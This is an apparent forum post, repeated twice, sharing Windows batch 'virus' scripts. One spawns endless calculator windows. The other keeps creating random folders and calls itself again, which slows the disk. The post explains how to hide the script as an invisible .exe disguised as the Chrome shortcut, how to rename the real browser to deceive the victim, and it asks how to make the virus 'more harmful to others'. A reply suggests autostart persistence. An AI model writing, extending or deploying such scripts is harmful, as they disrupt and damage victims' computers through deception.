.bat VIRUS

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Hello everyone!
First of all, I would like to apologize for my English (some things may be incomprehensible).
 
I recently came up with the idea to create a "small" virus (these are created by me for educational purposes only).
 
VIRUS CODE:

Code:

@echo off
color 02
title VIRUS
start chrome.exe
 
:start
echo VIRUS ACTIVATED
start calc
goto start 

If one is familiar with it, one can see that the virus initially launches the browser and then the calculators. Someone might ask, "Is that it?" or "Why would someone run this script?" I'll explain.

Imagine you are a person who boots up a computer, logs in, and wants to use a browser. They see a shortcut to it on their desktop and launch it. It's actually a script that launches the browser but also starts running calculators. What will the person who sees this happening do? Will they turn off the CMD? Well... the CMD is not visible because the file has been converted from a .bat to a .exe, and during the conversion, the option to start invisible was selected. So how do you stop the script? You need to go into the Task Manager, find CMD there, and terminate the task. Before our victim can do this, however, they will have a problem because several calculators are running in the background. The only option is to shut down the computer or struggle with the script.
 
One problem arises. When hovering over the browser icon, we see the target location where the file is located. If the script was in %userprofile%, then a person would notice this. However, what if the file was placed here?

C:/Program Files/Google/Chrome/Application
 
Then the person will not suspect anything and will start the file. It's important to change the name of the real browser to something else.

For example: Chrome5.exe
 
Now in the script, make the change and instead of chrome.exe, use chrome5.exe.

 This is the option with calculators, but what if the script was more problematic? What if we did it like this?
 

Code:

@echo off
color 02
title VIRUS
start chrome.exe

:start
c:
cd\
REM destination where you want to make folders
cd C:\Users\%username%\Desktop
REM make a folder by name having random numbers
md %random%%random%%random%%random%%random%
REM path to virus.bat or hiddencmd.bat to make this process fast
C:\Users\%username%\Desktop\virus.bat
REM loop this process
goto start

Then there is a problem because even if we restart the computer, it is slow anyway (the script can damage the disk).

Question for you
What do you suggest? How would you expand the virus to make it more harmful to others?
 

Show ContentSpoiler:

You could put it in the autostart 

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Hello everyone!
First of all, I would like to apologize for my English (some things may be incomprehensible).
 
I recently came up with the idea to create a "small" virus (these are created by me for educational purposes only).
 
VIRUS CODE:

Code:

@echo off
color 02
title VIRUS
start chrome.exe
 
:start
echo VIRUS ACTIVATED
start calc
goto start 

If one is familiar with it, one can see that the virus initially launches the browser and then the calculators. Someone might ask, "Is that it?" or "Why would someone run this script?" I'll explain.

Imagine you are a person who boots up a computer, logs in, and wants to use a browser. They see a shortcut to it on their desktop and launch it. It's actually a script that launches the browser but also starts running calculators. What will the person who sees this happening do? Will they turn off the CMD? Well... the CMD is not visible because the file has been converted from a .bat to a .exe, and during the conversion, the option to start invisible was selected. So how do you stop the script? You need to go into the Task Manager, find CMD there, and terminate the task. Before our victim can do this, however, they will have a problem because several calculators are running in the background. The only option is to shut down the computer or struggle with the script.
 
One problem arises. When hovering over the browser icon, we see the target location where the file is located. If the script was in %userprofile%, then a person would notice this. However, what if the file was placed here?

C:/Program Files/Google/Chrome/Application
 
Then the person will not suspect anything and will start the file. It's important to change the name of the real browser to something else.

For example: Chrome5.exe
 
Now in the script, make the change and instead of chrome.exe, use chrome5.exe.

 This is the option with calculators, but what if the script was more problematic? What if we did it like this?
 

Code:

@echo off
color 02
title VIRUS
start chrome.exe

:start
c:
cd\
REM destination where you want to make folders
cd C:\Users\%username%\Desktop
REM make a folder by name having random numbers
md %random%%random%%random%%random%%random%
REM path to virus.bat or hiddencmd.bat to make this process fast
C:\Users\%username%\Desktop\virus.bat
REM loop this process
goto start

Then there is a problem because even if we restart the computer, it is slow anyway (the script can damage the disk).

Question for you
What do you suggest? How would you expand the virus to make it more harmful to others?
 

Show ContentSpoiler:

You could put it in the autostart 

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